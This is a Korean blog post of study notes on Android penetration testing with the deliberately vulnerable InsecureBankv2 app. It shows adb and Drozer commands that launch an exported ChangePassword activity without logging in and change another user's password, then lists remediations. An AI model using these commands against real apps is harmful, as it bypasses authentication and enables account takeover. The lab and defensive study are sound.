인시큐어뱅크 활용 안드로이드 모의해킹 공부

취약한 액티비티 컴포넌트

원준킹 2020. 12. 22. 19:26

액티비티 : 눈에 보이며 사용자와 상호작용하는 곳

 

취약한 액티비티 컴포넌트

  • 정상적 과정 : 로그인 화면 -> 메인 메뉴 -> 음악 듣기
  • 비정상적 접근 : 로그인 없이 바로 음악듣기

진단방법

  • AndroidManifest.xml에 있는 컴포넌트 점검

 

  • Activity 컴포넌트가 구현된 해당 클래스의 onCreate() 메소드부터 전체 코드 점검

  • adb shell -> am start -n com.android.insecurebankv2/.ChangePassword

 

  • adb로는 권한이 없어도 무조건 실행되기 때문에 권한 검사를 할 수 없다. Droze로 진단.
  • run app.package.attacksurface com.android.insecurebankv2
  • run app.activity.info -a com.android.insecurebankv2

  • run app.activity.start -–component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword

Username 부분에 값 전달 필요

  • run app.activity.start -–component com.android.insecurebankv2 com.android.insecurebankv2.ChangePassword –-extra string uname jack

dinesh 로 로그인했는데도 jack의 패스워드 변경에 성공

대응방안

  • AndroidManifest.xml에 구현되어 있는 android:exported=”true” 속성을 false로 변경하여 외부노출 금지

 

  • 반드시 필요하다면 Permission 속성을 통한 권한으로 접근제어

  • 사용자 인증 절차 추가